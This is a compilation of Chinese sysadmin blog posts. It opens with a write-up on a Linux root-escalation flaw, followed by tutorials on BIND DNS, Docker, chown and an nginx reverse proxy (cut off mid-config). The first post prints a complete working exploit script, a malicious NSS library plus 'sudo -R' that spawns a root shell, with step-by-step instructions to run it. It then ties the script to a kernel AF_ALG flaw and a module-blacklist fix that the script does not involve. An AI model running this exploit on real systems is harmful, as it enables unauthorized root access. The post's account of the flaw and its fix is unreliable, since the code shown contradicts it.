CVE-2026-31431漏洞hello 各位最近工作太忙了，很久没更新博客了想不到都2026年了，Linux还能出这么爆冷的安全漏洞，而且这个漏洞涵盖了很多Linux发行版本这漏洞有点牛逼，2017 年至 2026-03-31 之间的几乎所有主流 Linux 内核与发行版，只要内核在下面区间就受影响：当然，号称华为自主研发的Openeuler Linux也没能幸免，因为跟随国家战略，基本上很多厂家都从原来的centos系列换成华为的欧拉了，但是实际上行内人士基本上都看得出来是centos套的壳子UbuntuUbuntu 18.04 LTSUbuntu 20.04 LTSUbuntu 22.04 LTSUbuntu 24.04 LTSDebianDebian 11（bullseye，内核 5.10.x）Debian 12（bookworm，内核 6.1.x）RHEL / CentOS / Rocky / Alma / OracleRHEL 8RHEL 9RHEL 10（含 10.1）CentOS 8Rocky Linux 8 / 9 / 10AlmaLinux 8 / 9Oracle Linux 8 / 9SUSESUSE Linux Enterprise 15SUSE Linux Enterprise 16（已验证 6.12 内核）云厂商 LinuxAmazon Linux 2Amazon Linux 2023（已验证 6.18.8）Alibaba Cloud LinuxTencentOS Server其他社区发行版Fedora（34–40，对应 5.x～6.17）Arch Linux（滚动内核，大部分 5.x/6.x 受影响）openEuler 22.03 / 24.03Manjaro、EndeavourOS 等基于 Arch 的发行版漏洞原理总结：普通账号，不用密码、不用特殊权限，直接干到 Root 最高管理员权限。玩过网络安全的朋友们都知道，想尽一切办法让上传成功的paylod能成功连上自己的反弹shell只是第一步最重要的还是提权！如果还是不清楚这是什么意思，这样说，最早期我们的手机可以刷机，需要root权限，因为安卓系统也是基于Linux拿到root权限以后，完全就可以变成板砖了，一点办法都没有....相比Windows ，Linux在“忠诚”这一层面，狠起来自己都可以删自己，这也流传了这样一个经典rm -rf /*漏洞复现准备环境Linux： 复制 [orange@Orange ~]$ cat /etc/os-release NAME="openEuler" VERSION="24.03 (LTS-SP2)" ID="openEuler" VERSION_ID="24.03" PRETTY_NAME="openEuler 24.03 (LTS-SP2)" ANSI_COLOR="0;31" 漏洞脚本 复制 #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 if [ $# -eq 0 ]; then # If no command is provided, default to an interactive root shell. CMD="/bin/bash" else # Otherwise, use the provided arguments as the command to execute. CMD="$@" fi # Escape the command to safely include it in a C string literal. # This handles backslashes and double quotes. CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g') cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?} 该漏洞代码已经在GitHub上开源了，链接：CVE-2026-31431环境准备 复制 useradd orange #创建orange账号 passwd orange #修改orange登录密码 vim /home/orange/abc.sh #在orange的家目录创建abc.sh，再将上面的代码复制进去 chmod 777 abc.sh #赋予abc.sh最高权限 su - orange #切换orange账号 或 直接重新ssh使用orange账号登录 根据以上图片，能看出使用orange账号登录进入，并查看abc.sh脚本可执行复现sh abc.sh 或 ./abc.sh 都可以讲真的，当时我自己第一次复现的时候，我人都麻了....因为我自己的云服务器很多都是欧拉或者ubuntu系列的随后我还真拿到我的云服务器上跑了一下，也成功了，虽然也需要通过普通账号进来，但是这也是一个很严重的突破口！漏洞修复总共分为两个方案，一个需重启一个不重启方案。因为一些厂家服务器不允许重新或者当下不能重启方案一【需重启】：更新系统版本内核① Ubuntu / Debian 系列 复制 # 更新软件源 apt update # 全量升级内核+系统补丁 apt upgrade -y # 重启生效 reboot ② CentOS 7 / 8 / 9、Rocky、Alma、欧拉 openEuler 复制 yum update -y # 或 dnf（新版系统） dnf update -y reboot 方案二【无需重启】：禁用 AF_ALG 加密套接字（漏洞必用组件） 复制 # 临时禁用，立刻生效 modprobe -r algif_aead # 永久禁用，重启也不加载 echo "blacklist algif_aead" >> /etc/modprobe.d/blacklist.conf 原理：该漏洞必须依赖 AF_ALG 加密接口才能构造恶意流量，直接卸载拉黑，EXP 直接跑不起来。检查漏洞是否修复1、查看当前内核版本 复制 uname -r 核对：＜6.18.23 → 还在高危≥6.18.23 → 已修复2、检测漏洞依赖模块是否存在 复制 lsmod | grep algif_aead 无输出 = 已禁用，临时防护生效
DNS核心概念什么是域名（Domain Name）域名是互联网中用于标识主机的人类可读地址，是 IP 地址的友好映射。由于 IP 地址（如 192.168.1.1 或 2001:db8::1）难以记忆，域名通过分层结构（如www.example.com）简化主机标识。域名分层结构（从右到左）：根域（.）：最高层级，隐含在所有域名末尾（如www.example.com.）顶级域（TLD）：如.com（商业）、.org（组织）、.cn（国家顶级域）二级域：如 example（核心品牌 / 机构标识）主机记录：如 www（web 服务器）、mail（邮件服务器）什么是 DNS（Domain Name System）DNS（域名系统）是互联网的分布式域名解析服务，核心功能是将域名（如www.example.com）转换为 IP 地址（如 192.168.1.100），反之也支持 IP 到域名的反向解析。DNS 的核心价值：解决 IP 地址难记忆问题支持服务地址动态切换（无需修改客户端配置）分布式架构保证高可用与负载均衡支持多种资源记录（IP、邮件服务器、别名等）正向解析与反向解析正向解析（Forward Resolution）最常用的 DNS 解析类型：域名 → IP 地址的映射过程。例如：将www.example.com解析为 192.168.1.100，用于用户通过域名访问网站、API 等服务。反向解析（Reverse Resolution）IP 地址 → 域名的映射过程，核心用于身份验证（如邮件服务器反垃圾邮件、日志审计）。例如：将 192.168.1.100 解析为www.example.com，验证该 IP 对应的主机是否为合法服务节点。客户端域名解析流程（hosts 文件优先机制）当终端（Windows/Linux/macOS）发起域名解析请求时，遵循本地优先、逐级向上的流程，其中hosts文件优先级最高：graph TD 复制 A[用户输入域名访问] --> B{查询本地hosts文件} B -- 存在对应记录 --> C[直接使用hosts中的IP访问] B -- 无对应记录 --> D{查询本地DNS缓存} D -- 缓存命中 --> E[使用缓存IP访问] D -- 缓存未命中 --> F[向配置的DNS服务器发起请求] F --> G[DNS服务器递归/迭代解析] G --> H[返回IP地址给客户端] H --> I[客户端缓存结果并访问目标主机] 关键说明hosts 文件路径：Windows：C:\Windows\System32\drivers\etc\hostsLinux/macOS：/etc/hostshosts 文件格式：一行一条记录，格式为 IP地址 域名 [别名]，例如： 复制 192.168.1.100 www.example.com example.com 优先级顺序：hosts文件 > 本地DNS缓存 > 配置的DNS服务器适用场景：本地测试、临时映射、屏蔽恶意域名（无需依赖 DNS 服务器）环境准备DNS 服务器OpenEuler 22.03 LTS192.168.1.200dns-server.example.combind-9.16.x测试客户端CentOS 7 / Windows 10192.168.1.10（示例）-nslookup、dig前置条件服务器关闭防火墙（或开放 53 端口，DNS 使用 UDP/53 和 TCP/53）禁用 SELinux（或配置规则）网络互通，服务器可正常联网（用于安装依赖）安装Bind9 复制 # 更新系统包 dnf update -y # 安装BIND核心组件（named为DNS服务进程） dnf install -y bind bind-utils bind-libs bind-chroot # 验证安装结果 rpm -qa | grep bind # 预期输出示例：bind-9.16.23-10.el9.x86_64、bind-utils-9.16.23-10.el9.x86_64 核心组件说明bind：DNS 服务器核心程序（named 进程）bind-utils：DNS 测试工具（dig、nslookup、host）bind-libs：BIND 依赖库bind-chroot：安全加固组件（将 named 进程限制在/var/named/chroot目录，降低安全风险）BIND9 核心配置BIND 的配置文件分为两类：主配置文件（全局参数）和区域配置文件（解析规则）。主配置文件（/etc/named.conf）主配置文件定义 DNS 服务器的全局参数（监听地址、允许查询的客户端、区域文件路径等）。 复制 # 备份默认配置文件 cp /etc/named.conf /etc/named.conf.bak # 编辑主配置文件 vim /etc/named.conf 替换为以下配置（关键注释已标注）： 复制 options { // 监听地址（0.0.0.0表示所有IPv4地址，::表示所有IPv6地址） listen-on port 53 { 0.0.0.0; }; listen-on-v6 port 53 { ::; }; // DNS服务器根目录（bind-chroot启用后实际为/var/named/chroot/var/named） directory "/var/named"; // 缓存文件路径 dump-file "/var/named/data/cache_dump.db"; statistics-file "/var/named/data/named_stats.txt"; memstatistics-file "/var/named/data/named_mem_stats.txt"; // 允许查询的客户端（配置为内网网段，如192.168.1.0/24，或any允许所有） allow-query { 192.168.1.0/24; localhost; localnets; }; // 递归查询（允许客户端请求服务器代为查询外部域名） recursion yes; // 禁用DNSSEC（测试环境关闭，生产环境建议启用） dnssec-enable no; dnssec-validation no; // 转发器（当本地无解析记录时，转发请求到公共DNS服务器） forwarders { 223.5.5.5; // 阿里云DNS 119.29.29.29; // 腾讯云DNS 8.8.8.8; // Google DNS（备选） }; // 其他默认参数 bindkeys-file "/etc/named.root.key"; managed-keys-directory "/var/named/dynamic"; pid-file "/run/named/named.pid"; session-keyfile "/run/named/session.key"; }; // 日志配置（记录查询日志到/var/log/named/query.log） logging { channel query_log { file "/var/log/named/query.log" versions 3 size 10m; severity info; print-time yes; print-category yes; print-severity yes; }; category queries { query_log; }; }; // 根域解析（默认配置，指向根服务器列表） zone "." IN { type hint; file "named.ca"; }; // 正向解析区域配置（自定义域名example.com） zone "example.com" IN { type master; // 主服务器（权威DNS） file "example.com.zone"; // 正向解析区域文件路径 allow-update { none; }; // 禁止动态更新（生产环境可配置ACL） }; // 反向解析区域配置（网段192.168.1.0/24） // 反向区域名格式：网段反转 + .in-addr.arpa（IPv4） zone "1.168.192.in-addr.arpa" IN { type master; file "192.168.1.zone"; // 反向解析区域文件路径 allow-update { none; }; }; // 包含动态DNS配置（默认） include "/etc/named.rfc1912.zones"; include "/etc/named.root.key"; 正向解析区域文件是实际存储域名 - IP 映射关系的文件，需放在/var/named目录下（bind-chroot 启用后实际路径为/var/named/chroot/var/named）。正向解析区域文件（example.com.zone） 复制 # 创建正向区域文件（复制模板文件，保留权限） cp /var/named/named.localhost /var/named/example.com.zone chmod 640 /var/named/example.com.zone # named进程需读取权限 chown root:named /var/named/example.com.zone # 属主为root:named # 编辑正向区域文件 vim /var/named/example.com.zone 配置内容（关键记录说明见注释）： 复制 $TTL 1D ; 缓存时间（1天） @ IN SOA example.com. admin.example.com. ( 2025112801 ; 序列号（格式：年月日+版本号，更新需递增） 1D ; 刷新时间（从服务器同步主服务器记录的间隔） 1H ; 重试时间（同步失败后重试间隔） 1W ; 过期时间（从服务器同步失败后，多久不再提供解析） 3H ) ; 否定缓存时间（查询不存在记录的缓存时长） IN NS dns-server.example.com. ; 该区域的权威DNS服务器 IN A 192.168.1.200 ; example.com的A记录（域名对应IPv4） IN AAAA ::1 ; 可选：IPv6记录（若需支持IPv6） ; 主机记录（A记录：域名→IPv4） dns-server IN A 192.168.1.200 ; DNS服务器自身映射 www IN A 192.168.1.100 ; web服务器 mail IN A 192.168.1.101 ; 邮件服务器 ftp IN A 192.168.1.102 ; FTP服务器 ; 别名记录（CNAME：域名别名→主域名） blog IN CNAME www.example.com. ; blog.example.com别名指向www.example.com mail2 IN CNAME mail.example.com. ; 邮件服务器别名 反向解析反向解析区域文件（192.168.1.zone） 复制 # 创建反向区域文件 cp /var/named/named.localhost /var/named/192.168.1.zone chmod 640 /var/named/192.168.1.zone chown root:named /var/named/192.168.1.zone # 编辑反向区域文件 vim /var/named/192.168.1.zone 配置内容： 复制 $TTL 1D @ IN SOA example.com. admin.example.com. ( 2025112801 ; 序列号（需与正向区域文件一致或递增） 1D 1H 1W 3H ) IN NS dns-server.example.com. ; 权威DNS服务器 ; 反向记录（PTR记录：IP→域名） ; 格式：IP最后一段 IN PTR 完整域名. 200 IN PTR dns-server.example.com. ; 192.168.1.200 → DNS服务器 100 IN PTR www.example.com. ; 192.168.1.100 → web服务器 101 IN PTR mail.example.com. ; 192.168.1.101 → 邮件服务器 102 IN PTR ftp.example.com. ; 192.168.1.102 → FTP服务器 配置权限与安全加固目录权限调整named 进程运行用户为named，需确保配置文件和区域文件可被读取： 复制 # 调整named目录权限 chown -R root:named /var/named chmod -R 750 /var/named # 创建日志目录并授权 mkdir -p /var/log/named chown named:named /var/log/named chmod 750 /var/log/named 启用 bind-chroot（可选，增强安全性）bind-chroot 将 named 进程的根目录切换到/var/named/chroot，即使进程被劫持，攻击者也只能访问该目录： 复制 # 启用chroot（修改named.service配置） vim /usr/lib/systemd/system/named.service 在[Service]段添加以下内容： 复制 ExecStartPost=/usr/sbin/named-checkconf -z /etc/named.conf ExecStart=/usr/sbin/named -u named -t /var/named/chroot # 添加-t参数指定chroot目录 重新加载系统服务配置： 复制 systemctl daemon-reload DNS开机自启 复制 # 验证配置文件语法（关键！配置错误会导致服务启动失败） named-checkconf /etc/named.conf # 主配置文件校验，无输出则正常 named-checkzone example.com /var/named/example.com.zone # 正向区域文件校验 named-checkzone 1.168.192.in-addr.arpa /var/named/192.168.1.zone # 反向区域文件校验 # 启动named服务 systemctl start named # 设置开机自启 systemctl enable named # 查看服务状态 systemctl status named # 预期输出：active (running) 防火墙与Selinux配置开放端口53 复制 # 开放UDP/53（主要）和TCP/53（区域传输、长查询） firewall-cmd --permanent --add-port=53/udp firewall-cmd --permanent --add-port=53/tcp # 重新加载防火墙规则 firewall-cmd --reload # 验证开放结果 firewall-cmd --list-ports | grep 53 Selinux配置若启用 SELinux，需配置规则允许 named 进程访问相关文件： 复制 # 允许named读取区域文件 setsebool -P named_write_master_zones on setsebool -P named_read_master_zones on # 配置区域文件SELinux上下文 semanage fcontext -a -t named_zone_t "/var/named/example.com.zone" semanage fcontext -a -t named_zone_t "/var/named/192.168.1.zone" restorecon -v /var/named/*.zone # 允许named写入日志 semanage fcontext -a -t named_log_t "/var/log/named(/.*)?" restorecon -v /var/log/named DNS服务器测试本地服务器测试DNS正向解析测试 复制 dig @192.168.1.200 www.example.com A dig @192.168.1.200 mail.example.com A dig @192.168.1.200 blog.example.com CNAME # 测试别名记录 # 测试反向解析（IP→域名） dig @192.168.1.200 192.168.1.100 PTR dig @192.168.1.200 192.168.1.101 PTR # 测试外部域名解析（验证转发器是否生效） dig @192.168.1.200 www.baidu.com A 测试成功判断：输出结果中ANSWER SECTION包含正确的 IP 或域名，例如： 复制 ;; ANSWER SECTION: www.example.com. 86400 IN A 192.168.1.100 Linux终端测试 复制 # 临时修改客户端DNS为服务器IP echo "nameserver 192.168.1.200" > /etc/resolv.conf # 测试解析 nslookup www.example.com host mail.example.com dig 192.168.1.102 PTR # 反向解析测试 Windows终端测试打开「网络和共享中心」→ 「本地连接」→ 「属性」→ 「IPv4 属性」手动设置 DNS 服务器为 192.168.1.200打开命令提示符（CMD）测试： 复制 nslookup www.example.com nslookup 192.168.1.100 # 反向解析 ping blog.example.com # 验证别名解析 验证 hosts 文件优先级在客户端测试 hosts 文件覆盖 DNS 解析： 复制 # Linux客户端修改hosts echo "192.168.1.250 www.example.com" >> /etc/hosts # 测试解析（应返回hosts中的192.168.1.250，而非DNS服务器的192.168.1.100） nslookup www.example.com dig www.example.com A # 测试完成后删除hosts中的测试记录 sed -i '/192.168.1.250 www.example.com/d' /etc/hosts
介绍Docker 是一个开源的应用容器引擎，基于 Go 语言 并遵从 Apache2.0 协议开源。Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中，然后发布到任何流行的 Linux 机器上，也可以实现虚拟化。容器是完全使用沙箱机制，相互之间不会有任何接口（类似 iPhone 的 app）,更重要的是容器性能开销极低。核心概念Image（镜像）镜像基于分层文件系统构建（Layered Filesystem），由多个只读层叠加组成，用于描述应用的运行时环境。Container（容器）容器是镜像的可运行实例，是一种轻量化、可移植、隔离的进程运行环境。Registry（镜像仓库）用于分发镜像，如 Docker Hub、阿里云 ACR、Harbor 等。Volume（持久化卷）用于持久存储容器外部化数据，避免容器删除导致数据丢失。Ubuntu安装 复制 sudo apt update sudo apt install -y ca-certificates curl gnupg sudo install -m 0755 -d /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg \ | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg echo \ "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] \ https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" \ | sudo tee /etc/apt/sources.list.d/docker.list sudo apt update sudo apt install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin sudo systemctl enable --now docker Centos安装 复制 sudo yum install -y yum-utils sudo yum-config-manager \ --add-repo https://download.docker.com/linux/centos/docker-ce.repo sudo yum install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin sudo systemctl enable --now docker 验证安装： 复制 docker version docker info 国内镜像加速为避免访问 Docker Hub 受限，可在 daemon.json 中加入加速器： 复制 sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<-'EOF' { "registry-mirrors": [ "https://dockerproxy.net", "https://hub-mirror.c.163.com", "https://mirror.baidubce.com", "https://ccr.ccs.tencentyun.com" ] } EOF 加速配置： 复制 sudo systemctl daemon-reload sudo systemctl restart docker 常用命令镜像管理 复制 docker pull nginx # 拉取镜像 docker images # 列出镜像 docker rmi nginx # 删除镜像 docker build -t myapp:latest . # 构建镜像 容器生命周期管理 复制 docker run -d -p 80:80 nginx # 以守护模式运行容器 docker ps # 查看运行中的容器 docker stop <container> # 停止容器 docker rm <container> # 删除容器 docker exec -it <container> bash # 进入容器 Shell docker logs -f <container> # 实时日志 docker restart <container> # 重启容器 数据卷与持久化 复制 docker volume create data-volume docker volume ls docker volume inspect data-volume docker volume rm data-volume 网络管理 复制 docker network ls docker network create my-net docker network inspect my-net docker network rm my-net Docker ComposeDocker Compose 是基于 YAML 的容器编排工具，通过单个 docker-compose.yml 进行服务定义、网络拓扑、依赖关系管理、持久化配置等。其主要优势：声明式 Infrastructure-as-Code服务依赖自动处理（depends_on）网络自动创建（Overlay 网络可用于 Swarm）多服务可一键启动、更新、停止非生产环境下比 Kubernetes 更轻量Compose安装验证 复制 docker compose version 如已显示版本号，则 Compose V2 已启用（现代 Docker 默认包含）。Compose 多服务应用案例Nginx + PHP-FPM + MySQL目录结构： 复制 /srv/demo/ ├─ docker-compose.yml ├─ web/ └─ nginx.conf docker-compose.yml 内容： 复制 version: '3.8' services: nginx: image: nginx:latest container_name: demo-nginx ports: - "8080:80" volumes: - ./web:/usr/share/nginx/html - ./nginx.conf:/etc/nginx/nginx.conf depends_on: - php networks: - demo-net php: image: php:8.2-fpm container_name: demo-php volumes: - ./web:/var/www/html networks: - demo-net mysql: image: mysql:8.0 container_name: demo-mysql environment: MYSQL_ROOT_PASSWORD: root123 MYSQL_DATABASE: demo volumes: - db-data:/var/lib/mysql ports: - "3306:3306" networks: - demo-net volumes: db-data: networks: demo-net: Compose常用命令 复制 docker compose up -d # 后台启动所有服务 docker compose down # 停止并清理容器 docker compose logs -f # 查看所有服务日志 docker compose ps # 查看状态 docker compose restart nginx # 重启某服务 docker compose up --build -d # 重新构建镜像并启动 案例：Docker部署nginx 复制 docker run -d \ --name my-nginx \ -p 8080:80 \ -v /home/nginx/html:/usr/share/nginx/html \ -v /home/nginx/conf:/etc/nginx \ nginx 浏览器访问： 复制 http://服务器IP:8080 修改 /home/nginx/html/index.html 即可实时生效。
介绍Linux chown（英文全拼：change owner）命令用于设置文件所有者和文件关联组的命令。Linux/Unix 是多人多工操作系统，所有的文件皆有拥有者。利用 chown 将指定文件的拥有者改为指定的用户或组，用户可以是用户名或者用户 ID，组可以是组名或者组 ID，文件是以空格分开的要改变权限的文件列表，支持通配符。chown 需要超级用户 root 的权限才能执行此命令，非超级用户如需要设置关联组可能需要使用 chgrp 命令。使用权限 : root使用语法 复制 chown [选项] 所有者[:组] 文件... chown [选项] --reference=参考文件 文件... 选项：-R, --recursive: 递归更改目录及其子目录中所有文件的所有者-v, --verbose: 显示详细操作信息-c, --changes: 只显示实际发生更改的文件-f, --silent, --quiet: 抑制错误信息--reference=文件: 使用参考文件的所有者和组设置-h, --no-dereference: 影响符号链接本身，而不是链接指向的文件--from=当前所有者: 只有当前所有者匹配时才更改基本使用格式只更改所有者 复制 chown username filename chown john file.txt 同时更改所有者和组 复制 chown username:groupname filename chown john:developers script.sh 只更改组（所有者前留空） 复制 chown :groupname filename chown :staff document.txt 使用数字ID 复制 chown 1000:1000 filename # 用户ID 1000，组ID 1000 chown 1001 filename # 只更改用户ID 案例把 /var/run/httpd.pid 的所有者设置 root： 复制 chown root /var/run/httpd.pid 将文件 file1.txt 的拥有者设为 runoob，群体的使用者 runoobgroup : 复制 chown runoob:runoobgroup file1.txt 将当前前目录下的所有文件与子目录的拥有者皆设为 runoob，群体的使用者 runoobgroup: 复制 chown -R runoob:runoobgroup * 把 /home/runoob 的关联组设置为 512 （关联组ID），不改变所有者： 复制 chown :512 /home/runoob 实际案例Web 服务器文件管理 复制 # 将网站文件所有权给web服务器 chown -R www-data:www-data /var/www/html/ # 设置上传目录权限 chown -R apache:apache /var/www/uploads/ chmod -R 755 /var/www/uploads/ 用户文件管理 复制 # 将用户目录所有权返回给用户 chown -R john:john /home/john/ # 新建用户后设置home目录 chown -R newuser:newuser /home/newuser/ 系统服务文件 复制 设置服务日志文件所有者 chown syslog:adm /var/log/application.log # 设置数据库文件所有者 chown -R mysql:mysql /var/lib/mysql/ 开发项目权限 复制 # 设置项目文件所有者为开发团队 chown -R developer:developers /home/projects/webapp/ # 设置部署目录权限 chown -R deploy:deploy /opt/application/ 高级使用技巧批量操作 复制 # 使用find命令批量更改 find /home/user -name "*.sh" -exec chown user:staff {} \; # 只更改特定类型文件的所有者 find /var/www -type f -name "*.php" -exec chown www-data:www-data {} \; 条件更改 复制 # 只有当前所有者是root时才更改 chown --from=root john /home/john/file.txt # 基于参考文件设置 chown --reference=/etc/passwd /etc/shadow 符号链接处理 复制 # 更改符号链接本身 chown -h john:staff /home/user/link # 更改符号链接指向的文件 chown john:staff /home/user/link
介绍Nginx 反向代理是一种将客户端请求转发到后端服务器的技术，隐藏了真实服务器的细节，同时提供负载均衡、缓存加速、SSL 终止等功能。快速安装Nginx若已经安装nginx可忽略此步骤 复制 # 更新源+安装 sudo apt update -y && sudo apt install -y nginx # 启动并设置开机自启 sudo systemctl start nginx sudo systemctl enable nginx # 验证安装（输出版本即成功） nginx -v # 防火墙开放 80/443 端口 sudo ufw allow 80/tcp sudo ufw allow 443/tcp sudo ufw reload Nginx 配置文件结构（关键路径） 复制 # 主配置文件 /etc/nginx/nginx.conf # 虚拟主机配置目录（推荐在此创建配置） /etc/nginx/sites-available/ # 启用的虚拟主机（软链接指向 sites-available 中的配置） /etc/nginx/sites-enabled/ # 日志目录 /var/log/nginx/ 基础反向代理实战需求：http://proxy.example.com 转发至后端服务 http://192.168.1.100:8080创建配置文件 复制 sudo vim /etc/nginx/sites-available/proxy-single.conf 写入配置 复制 server { listen 80; server_name proxy.example.com; # 替换为你的域名/服务器IP # 日志配置 access_log /var/log/nginx/proxy-single-access.log main; error_log /var/log/nginx/proxy-single-error.log warn; location / { proxy_pass http://192.168.1.100:8080; # 后端服务地址 # 传递客户端真实IP和请求信息（后端必须配置） proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; # 超时优化 proxy_connect_timeout 30s; # 连接后端超时 proxy_send_timeout 30s; # 发送请求超时 proxy_read_timeout 60s; # 读取响应超时 # 缓冲区配置（处理大响应） proxy_buffering on; proxy_buffer_size 4k; proxy_buffers 4 16k; proxy_busy_buffers_size 32k; } } 启用配置并验证 复制 # 创建软链接启用配置 sudo ln -s /etc/nginx/sites-available/proxy-single.conf /etc/nginx/sites-enabled/ # 验证配置语法 sudo nginx -t # 重载 Nginx（不中断服务） sudo systemctl reload nginx # 测试代理效果（返回后端服务响应即成功） curl http://proxy.example.com 负载均衡实战需求：将请求分发至 3 台后端服务器，支持权重分配、故障自动切换创建配置文件 复制 sudo vim /etc/nginx/sites-available/proxy-lb.conf 写入配置 复制 # 定义后端服务器集群（名称自定义） upstream backend_cluster { server 192.168.1.100:8080 weight=3; # 权重3，分发概率最高 server 192.168.1.101:8080 weight=2; # 权重2 server 192.168.1.102:8080 max_fails=3 fail_timeout=30s; # 3次失败标记不可用，30秒后重试 server 192.168.1.103:8080 backup; # 备用服务器（主服务全挂时启用） # 负载均衡算法（默认轮询，可选以下） # ip_hash; # 基于客户端IP哈希，保持会话一致性 # least_conn; # 最少连接数优先（适合后端性能不均） } server { listen 80; server_name proxy.example.com; access_log /var/log/nginx/proxy-lb-access.log main; error_log /var/log/nginx/proxy-lb-error.log warn; location / { proxy_pass http://backend_cluster; # 转发至集群 # 复用基础代理的请求头和超时配置 proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # 后端故障自动切换 proxy_next_upstream error timeout invalid_header http_500 http_502 http_503 http_504; } } 启用配置并验证负载效果 复制 sudo ln -s /etc/nginx/sites-available/proxy-lb.conf /etc/nginx/sites-enabled/ sudo nginx -t && sudo systemctl reload nginx # 连续发送10个请求，观察后端分发情况 for i in {1..10}; do curl -I http://proxy.example.com | grep "Server" || echo "请求失败"; done HTTPS反向代理需求：Nginx 处理 HTTPS 加密，后端服务走 HTTP（减轻后端 CPU 负载）申请免费 SSL 证书（Let's Encrypt） 复制 # 安装 Certbot sudo apt install -y certbot python3-certbot-nginx # 申请证书（自动验证域名并配置） sudo certbot --nginx -d proxy.example.com # 替换为你的域名 优化 SSL 配置（替换自动生成的配置） 复制 sudo vim /etc/nginx/sites-available/proxy-ssl.conf 写入优化配置： 复制 # HTTP 强制跳转 HTTPS server { listen 80; server_name proxy.example.com; return 301 https://$host$request_uri; } # HTTPS 核心配置 server { listen 443 ssl http2; # 启用 HTTP/2，提升并发 server_name proxy.example.com; # SSL 证书路径（Certbot 自动生成，无需修改） ssl_certificate /etc/letsencrypt/live/proxy.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/proxy.example.com/privkey.pem; ssl_trusted_certificate /etc/letsencrypt/live/proxy.example.com/chain.pem; # SSL 安全+性能优化 ssl_protocols TLSv1.2 TLSv1.3; # 禁用不安全协议（TLSv1.0/TLSv1.1） ssl_ciphers "EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH"; ssl_prefer_server_ciphers on; ssl_session_cache shared:SSL:10m; # 会话缓存，提升重连速度 ssl_session_timeout 1d; ssl_stapling on; # OCSP 装订，减少 SSL 握手时间 ssl_stapling_verify on; resolver 8.8.8.8 1.1.1.1 valid=300s; # DNS 解析器 # 反向代理配置（可对接单后端或负载均衡集群） location / { proxy_pass http://backend_cluster; # 替换为你的后端/集群地址 proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } } 启用配置并验证 复制 sudo ln -s /etc/nginx/sites-available/proxy-ssl.conf /etc/nginx/sites-enabled/ sudo nginx -t && sudo systemctl reload nginx # 测试 HTTPS 访问 curl -v https://proxy.example.com # 在线验证 SSL 安全性（浏览器打开） # https://www.ssllabs.com/ssltest/analyze.html?d=proxy.example.com 反向代理缓存需求：缓存图片、CSS、JS 等静态资源，减少后端请求压力配置全局缓存（修改主配置） 复制 sudo vim /etc/nginx/nginx.conf 在 http 块中添加： 复制 http { # 其他默认配置... # 反向代理缓存全局配置 proxy_cache_path /var/cache/nginx/proxy_cache levels=1:2 # 缓存目录层级（1级+2级子目录） keys_zone=proxy_cache_zone:10m # 共享内存区（名称+大小） max_size=20g # 最大缓存磁盘空间（超出LRU淘汰） inactive=7d # 7天未访问自动清理 use_temp_path=off; # 禁用临时目录，避免I/O竞争 proxy_cache_key "$scheme$request_method$host$request_uri$args"; # 缓存唯一标识 } 配置虚拟主机缓存规则 复制 sudo vim /etc/nginx/sites-available/proxy-cache.conf 写入配置： 复制 server { listen 443 ssl http2; server_name proxy.example.com; # SSL 配置（复用场景3的SSL部分） ssl_certificate /etc/letsencrypt/live/proxy.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/proxy.example.com/privkey.pem; ssl_trusted_certificate /etc/letsencrypt/live/proxy.example.com/chain.pem; ssl_protocols TLSv1.2 TLSv1.3; ssl_ciphers "EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH"; ssl_prefer_server_ciphers on; # 静态资源缓存（匹配后缀） location ~* \.(jpg|jpeg|png|gif|css|js|pdf|ico|svg|woff2)$ { proxy_pass http://backend_cluster; proxy_cache proxy_cache_zone; # 启用缓存 proxy_cache_valid 200 304 7d; # 200/304状态码缓存7天 proxy_cache_valid any 1m; # 其他状态码缓存1分钟 proxy_cache_use_stale error timeout; # 后端故障时使用过期缓存 add_header X-Proxy-Cache $upstream_cache_status; # 响应头显示缓存状态（HIT/MISS） expires 30d; # 客户端本地缓存30天 } # 动态请求（如API）不缓存 location / { proxy_pass http://backend_cluster; proxy_cache off; # 禁用缓存 proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } } 创建缓存目录并启用配置 复制 # 创建缓存目录并授权 sudo mkdir -p /var/cache/nginx/proxy_cache sudo chown -R nginx:nginx /var/cache/nginx/proxy_cache # 启用配置 sudo ln -s /etc/nginx/sites-available/proxy-cache.conf /etc/nginx/sites-enabled/ sudo nginx -t && sudo systemctl reload nginx # 验证缓存：首次 MISS，二次 HIT curl -I https://proxy.example.com/test.jpg 反向代理路径转发需求：/api 转发至 API 服务，/web 转发至 Web 服务，/admin 转发至管理后台 复制 sudo vim /etc/nginx/sites-available/proxy-path.conf 写入配置： 复制 # 定义不同后端集群 upstream api_server { server 192.168.1.104:8081; # API服务 } upstream web_server { server 192.168.1.105:8082; # Web服务 } 